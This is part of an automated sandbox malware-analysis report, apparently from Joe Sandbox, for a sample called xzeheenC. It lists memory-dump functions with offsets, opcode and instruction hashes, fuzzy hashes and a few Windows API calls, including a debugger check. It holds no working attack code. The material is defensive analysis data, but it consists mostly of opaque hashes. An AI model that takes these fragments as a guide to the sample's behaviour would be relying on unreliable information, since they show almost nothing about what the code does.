Memory Dump Source

Source File: 00000004.00000002.3473974376.0000000020A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 20A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20a80000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27cc97230859bc8dd4a37d4880283067f745099e7be6345094d4558612a496fd
Instruction ID: 506f46ae7e3065f3fbfaabc9418ef6405ede46c88701577682f4f99b81da52d1
Opcode Fuzzy Hash: 27cc97230859bc8dd4a37d4880283067f745099e7be6345094d4558612a496fd
Instruction Fuzzy Hash: 9341E375E01218CFEB68CFAAD9507DEBBF2BF89300F5080AAC458A7255DB345A85CF51

Function 20AA2DC8 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 183d2d534f4a2b31799cb15d1ad4b3e7e57d3abb1290c9729a6fb8c0c4f78400
Instruction ID: d5c7dc5fb0a8ad6444960581a2c1db950573d43b1b819878bd6e3473039f9306
Opcode Fuzzy Hash: 183d2d534f4a2b31799cb15d1ad4b3e7e57d3abb1290c9729a6fb8c0c4f78400
Instruction Fuzzy Hash: 92318F352042599FCB068FB8D894AAF7FBAFB88310F604029F9059B380CB75DD65DB91

Function 1B1AD514 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3465856985.000000001B1AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 1B1AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1b1ad000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5533eec3e046b6cd097443fc4b236f5ab5c6ff7ac82f94fe1aa3ee315a19ace
Instruction ID: 73deb6423c8b17f0520717f317cd61943d96eb38213e0629388dc72cd117cad2
Opcode Fuzzy Hash: c5533eec3e046b6cd097443fc4b236f5ab5c6ff7ac82f94fe1aa3ee315a19ace
Instruction Fuzzy Hash: 42216AB9500680DFCB01DF24DAC0F56BF75FB89318F61C169E8080B216C736E446CBA2

Function 1B1BD030 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3465984573.000000001B1BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 1B1BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1b1bd000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75c405ab8f961b389d597959e1173d3262b55c9f203bdefa391dcc55abc138dd
Instruction ID: 8af0d1ae4982f09caa109e97a14acba3197de4e629b2d6e45853836d0802291d
Opcode Fuzzy Hash: 75c405ab8f961b389d597959e1173d3262b55c9f203bdefa391dcc55abc138dd
Instruction Fuzzy Hash: 2A21FFB1A04248DFCB08DF24DBC0F56BBB5EB88314F61C5A9D9494B256C33AD846CB62

Function 20A82220 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3473974376.0000000020A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 20A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20a80000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4401f31003ab33d7daf678c68cd4f048163ce7799026c58d7f2e06d7f86a766e
Instruction ID: 58976c28939f17c5c2423cdd00e1adf4a9134ea137935cb624b2e4d4176c1349
Opcode Fuzzy Hash: 4401f31003ab33d7daf678c68cd4f048163ce7799026c58d7f2e06d7f86a766e
Instruction Fuzzy Hash: 59115A763002048FC704DFA9E584EA6B7EAFF88721B618569E54ACB771DB71EC05CB50

Function 20A827E0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3473974376.0000000020A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 20A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20a80000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fdb772fcd02a624cc7c330668cba05b594fcb54605a283f3d14ca6e1ef186ab
Instruction ID: 4c126d3621355d97f3e3246b22b9bacf24626f3b23cd3ba3a85570d8969f9065
Opcode Fuzzy Hash: 3fdb772fcd02a624cc7c330668cba05b594fcb54605a283f3d14ca6e1ef186ab
Instruction Fuzzy Hash: EF115E32E012198BCF10EFF984946AEBBF6AB48711F944539D419A3244DB31DD418BA1

Function 1B1AD50F Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3465856985.000000001B1AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 1B1AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1b1ad000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fcf16f0ce3997a393d561b9291fa03094e96af132afbef0229708fa6f6a02d1
Instruction ID: 13c0869fb899c63cb785dbe3a98621e229340fd75a6fb506c9e2453cc4995a6a
Opcode Fuzzy Hash: 3fcf16f0ce3997a393d561b9291fa03094e96af132afbef0229708fa6f6a02d1
Instruction Fuzzy Hash: C81126768042C0CFCB02CF10D6C0B46BF72FB88314F24C6A9D8494B616C336E45ACBA2

Function 20AA3EB0 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 832cf14652da3e5bab7e3929aa84de5f54b6aac200305c173b8029f42fe26ea5
Instruction ID: bf96070b5a424480bc70bcb2747def419986c6bbffa7ae7645e748997e9090f8
Opcode Fuzzy Hash: 832cf14652da3e5bab7e3929aa84de5f54b6aac200305c173b8029f42fe26ea5
Instruction Fuzzy Hash: DD01F5367582508FC3058B7DD8949597BF6AFCA52531500F6F145CF3B6EA60CC00C790

Function 1B1BD02B Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3465984573.000000001B1BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 1B1BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1b1bd000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c5635bf6bf0a90c65c6f78b78781ef727195c12e75a23b42f627594c6f222ba
Instruction ID: a4a5fa9a0dbfd5d4dbcff0f6f130f34125a4777fc41c5af7dd4607ec6b2495b9
Opcode Fuzzy Hash: 2c5635bf6bf0a90c65c6f78b78781ef727195c12e75a23b42f627594c6f222ba
Instruction Fuzzy Hash: 64118B75904284DFDB06CF14D6C4B55BBB1FB88314F24C6AAD8494B656C33AD44ACB62

Function 20A825C0 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3473974376.0000000020A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 20A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20a80000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d636bef2cd7ff31c466393bf8a2806bc39c528bce50c9d0377dd3ba07b7e666d
Instruction ID: 4db86ae8fc25f7a55ab28ad625e003ca4994bd27d7fe6adc4b5c5b29621a91ff
Opcode Fuzzy Hash: d636bef2cd7ff31c466393bf8a2806bc39c528bce50c9d0377dd3ba07b7e666d
Instruction Fuzzy Hash: 8F014E353443A41BDB061B78995457E3F9EEBC7320B0440BAED45CB287DE25CD168353

Function 20AA4401 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a56646f6362b305603b2f00642e10c35396e56adb66f60c2fa1be86dddb7bdb4
Instruction ID: b381f8d3be052e5d08f76881f5dffa0461482ebbc487cc290c644b08db071dfc
Opcode Fuzzy Hash: a56646f6362b305603b2f00642e10c35396e56adb66f60c2fa1be86dddb7bdb4
Instruction Fuzzy Hash: 2001DEBAA10221CFC754DFB8D658A4E7BF8BF8C66531044A6E816D7312EB30CD018BA1

Function 1B1AD006 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3465856985.000000001B1AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 1B1AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1b1ad000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cb929d57e8c0534501fe033b8c87a8ac107d140a1a46ac2c61d3062e2dc29fe
Instruction ID: a9fcd4f65291e03a8a39734a8536805c5fdb8fd11e6d6277fbdadb1fa6c0d69d
Opcode Fuzzy Hash: 2cb929d57e8c0534501fe033b8c87a8ac107d140a1a46ac2c61d3062e2dc29fe
Instruction Fuzzy Hash: BD01696140D7C49FD7024B358E94692BFA8EF57220F0A84DBE9889F2A7C2696C45C772

Function 20A80FD8 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3473974376.0000000020A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 20A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20a80000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76afb4e719a82d28ae10943aa3a620bcb76db6d3f7b7a7ca0f02e37687cc55a3
Instruction ID: a764e6cbd130c77ca1d62535bcb7bee805fc50d66c0b775df5fbf1110ac25600
Opcode Fuzzy Hash: 76afb4e719a82d28ae10943aa3a620bcb76db6d3f7b7a7ca0f02e37687cc55a3
Instruction Fuzzy Hash: E1015235E00259DFDB549FB4D8585AF7BB9FB88360F00452AED5A93241DB318D11CBA1

Function 20AA3610 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a1164a52ec29408cd11bd567f4e92822b7f28d398dc01e0a5a9e3f4ae82be68
Instruction ID: ce0059ec4e977f482d25c4bb15cb880714c91bde02929e6e37e728c401aa7164
Opcode Fuzzy Hash: 6a1164a52ec29408cd11bd567f4e92822b7f28d398dc01e0a5a9e3f4ae82be68
Instruction Fuzzy Hash: 150186727002587BDB058E999851AEF7BABDBC8650F548029F915D7380DA71DC119B90

Function 1B1AD01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3465856985.000000001B1AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 1B1AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1b1ad000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b187a003b419df9d84da99eda563c63658759065accc3df3b268fdaf6a7bde2
Instruction ID: a817a7ed5b67f73be4f0bb93e83b8201c4cbcf8a742f17435ff4428369dbc654
Opcode Fuzzy Hash: 0b187a003b419df9d84da99eda563c63658759065accc3df3b268fdaf6a7bde2
Instruction Fuzzy Hash: E9012B75404B889FD3108B35CF84B97BFDCEF46721F15C429ED481B246C279A841C6B1

Function 20A80FC8 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3473974376.0000000020A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 20A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20a80000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7867a55081976b0baeab4be530e2c68ccb635d35914eb94252f0f91fd0e0330
Instruction ID: 54df2af0d9313ae7a72a30a37fe0b10ad4cf81d9ad25320123f20265ec0540da
Opcode Fuzzy Hash: a7867a55081976b0baeab4be530e2c68ccb635d35914eb94252f0f91fd0e0330
Instruction Fuzzy Hash: 7F015A76A002599FDB109FA4D8449AF7BB9FB98260F00413AE899D3241D7718D25DBA2

Function 20AA3600 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6b2008a9690fa9ec3666dee6967d27000800e0e2d61b461863d5fcadb06ff37
Instruction ID: bd0b314b2f0845006222257e2379f3bb5e04c4505d066f5cfa5c82dfbbe5d1cd
Opcode Fuzzy Hash: c6b2008a9690fa9ec3666dee6967d27000800e0e2d61b461863d5fcadb06ff37
Instruction Fuzzy Hash: 4801D672600254AFDB058EA59C41BDF7BAAEF88750F148069FA14C7281C772C812DB90

Function 20A82877 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3473974376.0000000020A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 20A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20a80000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91d8fe58ce28d9aca80501b87cfbe23d372f2707ad6d4de0a9183581eb7cd7d3
Instruction ID: 2a0c53aa66f53e12fa6b8af6105b3cae4011d5e9ef63e19679ee5b84d03d6e41
Opcode Fuzzy Hash: 91d8fe58ce28d9aca80501b87cfbe23d372f2707ad6d4de0a9183581eb7cd7d3
Instruction Fuzzy Hash: BBF09633B086645FCB0657A9B4255AEBBE9DFC576071400BBE544D72A1CE62CC06C791

Function 20AA4378 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 087706345f93007cdc7183b18bf499f105e989115152bc0f708eab37a4823d4b
Instruction ID: 0dd08871ed3ae9104422300d9d932151a8581a689bba77053c785bd86169b582
Opcode Fuzzy Hash: 087706345f93007cdc7183b18bf499f105e989115152bc0f708eab37a4823d4b
Instruction Fuzzy Hash: 4B011970E003299FCF44DFB9C9546DEBBF5BF88200F50852AD919EB250E73899028FA1

Function 20A820B8 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3473974376.0000000020A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 20A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20a80000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd844b01bd1f1fc999940e43ddc1d23106d8c2acdb907114d618fdae99341a1c
Instruction ID: 98e583ebe02ce38340a8dafb999651c6f7002ea6557c91e9e6890021bbbf1edb
Opcode Fuzzy Hash: cd844b01bd1f1fc999940e43ddc1d23106d8c2acdb907114d618fdae99341a1c
Instruction Fuzzy Hash: 3AF0F6769002089E8B50DFA9D8419EFBBFAEF58350B50462ADA05D3211E6309A158BE1

Function 20A82570 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3473974376.0000000020A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 20A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20a80000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e464eb2fad96ff6fe29552198d61b07499c8dae1f1165372f2cbafd0a83cc416
Instruction ID: 555180d585a35a4b9a12d8e751dcec7d978712f8b60196f80d27c4b31ace58e5
Opcode Fuzzy Hash: e464eb2fad96ff6fe29552198d61b07499c8dae1f1165372f2cbafd0a83cc416
Instruction Fuzzy Hash: C2F03A353401059FC7048F59D494D6ABBAAFF88724B648069E90987331CB719C51CB50

Function 20AA3EC0 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 129bf7380cb58cb61c0445a66c6adf38f96378073d500e58048d65a4221cb431
Instruction ID: a2ce5f0b8e6f424d973098c7adac48ec6fa733ae115aff7bd25e4a3416625d4f
Opcode Fuzzy Hash: 129bf7380cb58cb61c0445a66c6adf38f96378073d500e58048d65a4221cb431
Instruction Fuzzy Hash: CEF082367101118FC7489A6AD898D2A7BBAEFC66257544069F506CB3A5EE60DC018790

Function 20A82620 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3473974376.0000000020A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 20A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20a80000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 755b672ca091792bd03a64edaeb90a73b80a02902ceb3a40de92f84fb6d2d741
Instruction ID: ea8e48d96da270a1c3bffd976c3b7439941dda0cac625e75e3546de33241ab4c
Opcode Fuzzy Hash: 755b672ca091792bd03a64edaeb90a73b80a02902ceb3a40de92f84fb6d2d741
Instruction Fuzzy Hash: 72D0C736300124678B051A4994448AE7B5FE7C9771705802AFD4583304CE724D2197E5

Function 20AA3DB0 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc10d3e4c7e1e4c2a9883f5c869cbb35c1b742ead0de3d821dcb71601b0e2c
Instruction ID: 6ddf00d2d1dee9bccfd638df521663c1d5ca8f638d31b8fe92e05c4b3df4b900
Opcode Fuzzy Hash: eecc10d3e4c7e1e4c2a9883f5c869cbb35c1b742ead0de3d821dcb71601b0e2c
Instruction Fuzzy Hash: 9BC012340842194BC68AEB75E9C69557B1EFAC0214BA08A24E10E06169EFF8ED49C7D0

Function 20AA3E90 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b74f2633cee37632b59b68bd87aae7ea879328f9dff4a4e1836441ec426afa5
Instruction ID: f9dd07299643a207639900588955c9272653a6858f5ae2ce0c8dbb7efa725ca7
Opcode Fuzzy Hash: 5b74f2633cee37632b59b68bd87aae7ea879328f9dff4a4e1836441ec426afa5
Instruction Fuzzy Hash: BEC08C3C6043004FEF118B10E66CB41BBB1DF84304F0480A4D809CB266C320DC82C600

Non-executed Functions

Function 0040CE09 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 004136F4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00413709
UnhandledExceptionFilter.KERNEL32(0041FB80), ref: 00413714
GetCurrentProcess.KERNEL32(C0000409), ref: 00413730
TerminateProcess.KERNEL32(00000000), ref: 00413737

Memory Dump Source

Source File: 00000004.00000002.3435180894.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3435180894.0000000000441000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_xzeheenC.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction ID: 93bf0ba95bc2a0faef8203f21c221f33afe887fd41373e09ae0fa508b254143b
Opcode Fuzzy Hash: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction Fuzzy Hash: A521C3B4601204EFD720DF65E94A6457FB4FB08356F80407AE50887772E7B86682CF4D

Function 0040ADB0 Relevance: 2.5, APIs: 2, Instructions: 23memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0040ADD0
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0040ADE1

Memory Dump Source

Source File: 00000004.00000002.3435180894.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3435180894.0000000000441000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_xzeheenC.jbxd

Yara matches

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 97be969a41baf58eb72298c462d2c401217e5b830f10c891868ac5f2a1a85b43
Instruction ID: 72dd180cd7110ee49b406fd12918c6a771032a3efea8c67e715e4993f3fed615
Opcode Fuzzy Hash: 97be969a41baf58eb72298c462d2c401217e5b830f10c891868ac5f2a1a85b43
Instruction Fuzzy Hash: 54E09A312003009FC320AB61DC08FA337AAEF88311F04C829E55A936A0DB78EC42CB58

Function 1F6EC0F0 Relevance: 1.9, Strings: 1, Instructions: 683COMMON

Download Yara Rule

Strings

.5uq, xrefs: 1F6EC260

Memory Dump Source

Source File: 00000004.00000002.3472370573.000000001F6E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F6E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f6e0000_xzeheenC.jbxd

Similarity

API ID:
String ID: .5uq
API String ID: 0-910421107
Opcode ID: f31c303c22fdbbefbd617d6ec9d84944ea964447e164cebeeb3f200db977c261
Instruction ID: c6b76fb551e2e161564b2cfd931ff36939c0c0706c4fe4bd2b933b5164b79a49
Opcode Fuzzy Hash: f31c303c22fdbbefbd617d6ec9d84944ea964447e164cebeeb3f200db977c261
Instruction Fuzzy Hash: B8728C75E01228CFDB64DF69C984BDDBBB2AB89300F1081E9D809A7255DB35AE85CF50

Function 004123F1 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000123AF), ref: 004123F6

Memory Dump Source

Source File: 00000004.00000002.3435180894.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3435180894.0000000000441000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_xzeheenC.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 4924e8eeaf860e2c76ee0bfea96ab0c911441afc8f12962253436aa9ca0899ee
Instruction ID: 17be93bd3878235df00445469c4c747c8dbd7a907b9f456768254b9c32cbcc1b
Opcode Fuzzy Hash: 4924e8eeaf860e2c76ee0bfea96ab0c911441afc8f12962253436aa9ca0899ee
Instruction Fuzzy Hash: CA900270661144D7865017705D0968669949B4C6427618471653DD4098DBAA40505569

Function 20AA5020 Relevance: .3, Instructions: 260COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3f3d5d067c0b48cb8318e4f8e5b43ff9d76b87c8018704662959155251fe9f0
Instruction ID: dd112697fec3d5c690663f92aaa239d1ef1e2d05af8c55743233e8280a63c26b
Opcode Fuzzy Hash: d3f3d5d067c0b48cb8318e4f8e5b43ff9d76b87c8018704662959155251fe9f0
Instruction Fuzzy Hash: 08D18375E01218CFDB54CFA9D994B9DBBB2BF88300F1081A9D809AB365DB306D85CF51

Function 20AA5010 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28ae5d4c3ae2b3aed1bcdd7eb50967cedb5de806dbc23f2ab5262b1c262102c4
Instruction ID: 13d1306850d31bf279aca9a2b766b93347c36583c5fc971d5f7e11c13a73f239
Opcode Fuzzy Hash: 28ae5d4c3ae2b3aed1bcdd7eb50967cedb5de806dbc23f2ab5262b1c262102c4
Instruction Fuzzy Hash: F961A575E01618CFDB54CFAAD980A9DBBF2BF89301F1080A9D419EB355DB309985CF54

Function 1CF0E158 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3467653762.000000001CF00000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CF00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1cf00000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51276aee1badc6bd996b902d64d2e45c01a417771458ade42d8c08ea1eb73329
Instruction ID: 8a75dc000eaa5576c09235daac17d64915176d76816641e3034d2f4e19bb0778
Opcode Fuzzy Hash: 51276aee1badc6bd996b902d64d2e45c01a417771458ade42d8c08ea1eb73329
Instruction Fuzzy Hash: CA41E0B0D00248CFDB14DFA9D985B9EFBF2BB49700F209129E464A7290D774A885DFA5

Function 20CACAD0 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474381326.0000000020CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20ca0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c26dbbf3d800063269b8c998a673e61b75d51d2e53e12dc9ccd4e64c538779d
Instruction ID: 4586294f14b1689bf12b78ea8563ad0e1b8ed53b06e60260d3b0d93c16bbe6e9
Opcode Fuzzy Hash: 8c26dbbf3d800063269b8c998a673e61b75d51d2e53e12dc9ccd4e64c538779d
Instruction Fuzzy Hash: FB3199B8D052099FCB14CFA9E580ADEFBF5AB49310F20902AE919B7310D774A945CFA4

Function 20CADA70 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474381326.0000000020CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20ca0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87f09656660454da4d3f0560ac54862997a08c3be81786d0ef9fc03ae7f93923
Instruction ID: 9b9617335236a5e91f6f83d5b7cc48d04a05cb06e7077bf81ab7c482453ccbc6
Opcode Fuzzy Hash: 87f09656660454da4d3f0560ac54862997a08c3be81786d0ef9fc03ae7f93923
Instruction Fuzzy Hash: C931AAB9D052589FCB10CFA9E580ADEFBF1AF49310F20902AE419B7350D374AA45CF64

Function 20D9C5A0 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474721924.0000000020D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20d90000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ffd0b0f4682392c74f270ae788f9ccb9b38f1b7135aa6ac6e40273449dc878c
Instruction ID: 16ac3d0674d55c5b121695c427359beca7d39432a0b06eeff8b4aba482795b8d
Opcode Fuzzy Hash: 7ffd0b0f4682392c74f270ae788f9ccb9b38f1b7135aa6ac6e40273449dc878c
Instruction Fuzzy Hash: 58D09E7AD5626CCACF21DFA8DC605EEF774EF9A311F0024A6C108A7524D73169508F59

Function 20AA542C Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db24eda7b3127d41a2a6cfce6e76ba8f1c3dc74512681e5bc0e933f92b4eb6a1
